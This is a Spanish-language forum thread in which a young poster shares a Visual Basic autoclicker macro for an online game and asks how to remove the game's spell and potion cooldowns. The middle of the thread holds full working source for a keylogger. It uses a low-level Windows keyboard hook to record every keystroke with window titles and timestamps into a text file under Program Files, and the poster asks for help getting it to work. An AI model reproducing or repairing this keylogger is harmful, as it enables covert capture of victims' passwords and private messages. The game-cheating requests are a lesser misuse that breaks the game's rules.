Bueno, hay un tal macrocrack que hace click en una coordenada todo el tiempo sin mover el mouse...

Quiero lograrlo, pero no me sale.

Lo único que logro es mover el mouse a esa coordenada automaticamente.

Pienso que la única formar de clickear en una coordenada es con el MOUSE, pero el "MACROCRACK" tiene un autoclickear en una ubicación sin mover el mouse a esa coordenada.

Claro, coincido con vos, leo en mis tiempos libres...

Pero no se me ocurre ni encuentro nada para cambiar el intervalo de la tecla en un juego :S

Nono, enserio, tengo 3 bajas y lunes martes y miercoles estoy castigado.

Hoy estoy porque me saque 2   10 y 1   9.

Bueno, vi que acá son toda gente buena y hacker...

Entonces, les libero mi macro, y quiero mejorarlo...

Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)
Private Const MOUSELEFTDOWN = &H2 '  left button down /This is actually MOUSEEVENTF_LEFTDOWN
Private Const MOUSELEFTUP = &H4 '  left button up /This is actually MOUSEEVENTF_LEFTUP
Private Const KEY_TOGGLED As Integer = &H1
Private Const KEY_PRESSED As Integer = &H1000
Private Const MOUSEEVENTF_MOVE = &H1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
 
 
Option Explicit
 
'   * Colocar un control Timer
'-------------------------------------------------
 
'Estructura de coordenadas para el api GetCursorPos
Private Type POINTAPI
    x As Long
    y As Long
End Type
 
 
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
 
Dim Mouse As POINTAPI
 
Private Sub Form_Load()
6
    Me.FontSize = 10
    Text1.Text = "100" 'Para configurar los intervalos de clicks
Timer1.Enabled = False
Timer2.Enabled = True
End Sub
 
Private Sub Timer1_Timer()
 
    'Ejecutamos la función y recuperamos la posicion del cursor
    Call GetCursorPos(Mouse)
 
    ' limpia el form
    Me.Cls
 
    Me.Print "Posicion del cursor :"
    'Imprimimos las cordenadas X e Y devueltas por el api
    Me.Print "X:" + Str$(Mouse.x) + vbCrLf + "Y:" + Str$(Mouse.y)
If Mouse.x < 1000 Then
Dim y As String
Dim x As String
y = Text2.Text
x = Text3.Text
 
  mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
     mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
 
End If
End Sub
 
 
Private Sub Timer2_Timer()
If GetKeyState(vbKeyF10) And KEY_PRESSED Then
 
    Timer1.Interval = Val(Text1.Text) 'Lee el valor del textbox en MS
    Timer1.Enabled = True
ElseIf GetKeyState(vbKeyF11) And KEY_PRESSED Then
 
    Timer1.Enabled = False
    ElseIf GetKeyState(vbKeyF9) And KEY_PRESSED Then
    Timer4.Enabled = True
    ElseIf GetKeyState(vbKeyF8) And KEY_PRESSED Then
 
    Timer1.Enabled = False
    ElseIf GetKeyState(vbKeyF7) And KEY_PRESSED Then
    Timer5.Enabled = True
    ElseIf GetKeyState(vbKeyF6) And KEY_PRESSED Then
 
    Timer1.Enabled = False
    ElseIf GetKeyState(vbKeyF9) And KEY_PRESSED Then
    Timer6.Enabled = True
End If
End Sub
 
Private Sub Timer3_Timer()
 
 
End Sub
 
Private Sub Timer4_Timer()
    'Ejecutamos la función y recuperamos la posicion del cursor
    Call GetCursorPos(Mouse)
 
    ' limpia el form
    Me.Cls
 
    Me.Print "Posicion del cursor :"
    'Imprimimos las cordenadas X e Y devueltas por el api
    Me.Print "X:" + Str$(Mouse.x) + vbCrLf + "Y:" + Str$(Mouse.y)
If Mouse.x < 1000 Then
Dim y As String
Dim x As String
y = Text2.Text
x = Text3.Text
 
  mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
     mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
 
  mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
     mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
 
 
  mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
     mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
 
 
  mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
     mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
 
 
  mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
     mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
 
 
  mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
     mouse_event MOUSELEFTDOWN, 0, 0, 0, 0 'left button goes down
    mouse_event MOUSELEFTUP, 0, 0, 0, 0 'left button comes up
 
End Sub
 
Private Sub Timer5_Timer()
    'Ejecutamos la función y recuperamos la posicion del cursor
    Call GetCursorPos(Mouse)
 
    ' limpia el form
    Me.Cls
 
    Me.Print "Posicion del cursor :"
    'Imprimimos las cordenadas X e Y devueltas por el api
    Me.Print "X:" + Str$(Mouse.x) + vbCrLf + "Y:" + Str$(Mouse.y)
 
 
  If GetAsyncKeyState(2) = -32767 Then 'comprueba si hacen click derecho
        SendKeys "{u}"
         SendKeys "{u}"
          SendKeys "{u}" 'si lo hacen manda la letra u
    End If
 
End Sub
 

Ideas:
Bueno, lo que tenía pensado era que al potear no haya intervalo...

También que te haga un autoclick en una coordenada (La que pongas en un textbox) pero que no valla el mouse hacia la coordenada, si no que sea auto click sin mover el mouse, porque mi auto click es feo, lleva el mouse hacia la coordenada, entonces lo saque.



Las 2 ideas no me salieron perfectas como quería...

Asique, pido si me pueden orientar, o si no darme lo codes que preferiría mejor interpretarlos así aprendo.


Saludos!

Es que no tengo tiempo para leer ahora, estoy estudiando...

Según el aporte ese código andaba perfecto el de Keylogger, pero no entiendo donde se guarda toda la variable en la PC.

xD

Pero, vos sos re programador, yo se programar, pero no con tanta libertad...

Porfavor, ayudenme, necesito ayuda urgente...

Mi keylogger (Lo saque en un aporte, le modifique donde se guarda, porque no entendi una ***** como se guardaba en el aporte ni como lo leia)

Option Explicit
 
'|||||||||||||||||||||||
'|                     |
'|Autor: Karcrack      |
'|Fecha: 24/09/08      |
'|                     |
'|||||||||||||||||||||||
 
 
Public Sub ManageKeylogger(ByVal Enable As Boolean)
    Select Case Enable
        Case True
            KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
        Case False
            Call UnhookWindowsHookEx(KBHook)
    End Select
End Sub
 
Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
    Dim KeyBoardHook        As KBDLLHOOKSTRUCT
 
    If nCode = 0 Then
        CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
        With KeyBoardHook
            If .Flags = 0 Or .Flags = 1 Then
                If SaveLog(TranslateKey(.VkCode)) > 50 Then
                    Call LogToFile(App.Path & "\Log.log")
                End If
            End If
        End With
    Else
        KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
    End If
End Function
 
Private Function TranslateKey(ByVal KeyCode As Long) As String
    Dim LngShift            As Long
 
    'Funcion optimizada para su uso en teclados españoles.
 
    LngShift = GetAsyncKeyState(vbKeyShift)
    If KeyCode >= 58 And KeyCode <= 90 Then
        TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
    ElseIf KeyCode >= 96 And KeyCode <= 105 Then
        TranslateKey = Chr(KeyCode - 48)
    ElseIf KeyCode >= 112 And KeyCode <= 123 Then
        TranslateKey = "{F" & KeyCode - 111 & "}"
    Else
        If KeyCode = 160 Then TranslateKey = ""
        If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
        If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
        If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
        If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
        If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
        If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
        If KeyCode = 27 Then TranslateKey = "{ESC}"
        If KeyCode = 46 Then TranslateKey = "{DEL}"
        If KeyCode = 36 Then TranslateKey = "{HOME}"
        If KeyCode = 35 Then TranslateKey = "{END}"
        If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
        If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
        If KeyCode = 45 Then TranslateKey = "{PASTE}"
        If KeyCode = 144 Then TranslateKey = "{NUM}"
        If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
        If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
        If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
        If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
        If KeyCode = 13 Then TranslateKey = "{ENTER}"
        If KeyCode = 8 Then TranslateKey = "{BACK}"
        If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
        If KeyCode = 9 Then TranslateKey = "{TAB}"
        If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
        If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
        If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
        If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
        If KeyCode = 164 Then TranslateKey = "{ALT}"
        If KeyCode = 165 Then TranslateKey = "{ALTGR}"
        If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
        If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
        If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
        If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
        If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
        If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
        If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
        If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
        If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
        If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
        If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
        If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
        If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
        If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
        If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
        If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
        If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
        If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
        If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
        If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
        If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
        If KeyCode = 145 Then TranslateKey = "{ROLL}"
        If KeyCode = 44 Then TranslateKey = "{PRINT}"
        If KeyCode = 19 Then TranslateKey = "{PAUSE}"
        If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
    End If
End Function
 
Public Function SaveLog(ByVal sKey As String) As Double
    Dim aHwnd               As Long
    Dim WinText             As String
    aHwnd = GetForegroundWindow
 
    If aHwnd <> lHwnd Then
        lHwnd = aHwnd
        WinText = String$(255, Chr$(0))
        Call GetWindowText(aHwnd, WinText, Len(WinText))
        WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
 
        KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf
    End If
 
    KeyData = KeyData & sKey
 
    SaveLog = Len(KeyData)
End Function
 
Public Sub LogToFile(ByVal sPath As String)
    Open "C:\ARCHIVOS DE PROGRAMA\ASD.TXT" For Binary As #1
        Put #1, , KeyData
    Close #1
End Sub

En un modulo:

 
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
Private Const WH_KEYBOARD_LL   As Long = 13
 
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
 
Public Type KBDLLHOOKSTRUCT
    VkCode                  As Long
    ScanCode                As Long
    Flags                   As Long
    Time                    As Long
    DwExtraInfo             As Long
End Type
 
Dim KBHook                  As Long
Dim KeyData                 As String
Dim lHwnd                   As Long
 
 

Ejecuto el programa y no pasa nada :S

Osea, no se me guarda en el txt de asd...


Me pueden  explicar mejor como funciona?





Ahora el 0 intervalo...


Bueno...
Estuve tratando de hacer algún programa para que no haya intervalo nada, por ejemplo...

Mi juego, tiene el intervalo de lanzar un hechizo como de 1 segundo, entonces quiero que al clickear "Lanzar" y apretes en el usuario, no haya intervalo...
Sería, el intervalo de click que no afecte, ¿Como podría hacer?

El otro es el de la tecla U...
Con la U poteo...

Como puedo hacer para que no haya intervalo entre U Y U?

PD: Aclaro que no es mi juego, osea los codes no los tengo yo, es un juego online que yo juego.

Mucha suerte!

Espero que me den los codes :$

Bueno...
estuve tratando de hacer algún programa para que no haya intervalo nada, por ejemplo...

Mi juego, tiene el intervalo de lanzar un hechizo como de 1 segundo, entonces quiero que al clickear "Lanzar" y apretes en el usuario, no haya intervalo...
Sería, el intervalo de click que no afecte, ¿Como podría hacer?

El otro es el de la tecla U...
Con la U poteo...

Como puedo hacer para que no haya intervalo entre U Y U?


Mucha suerte!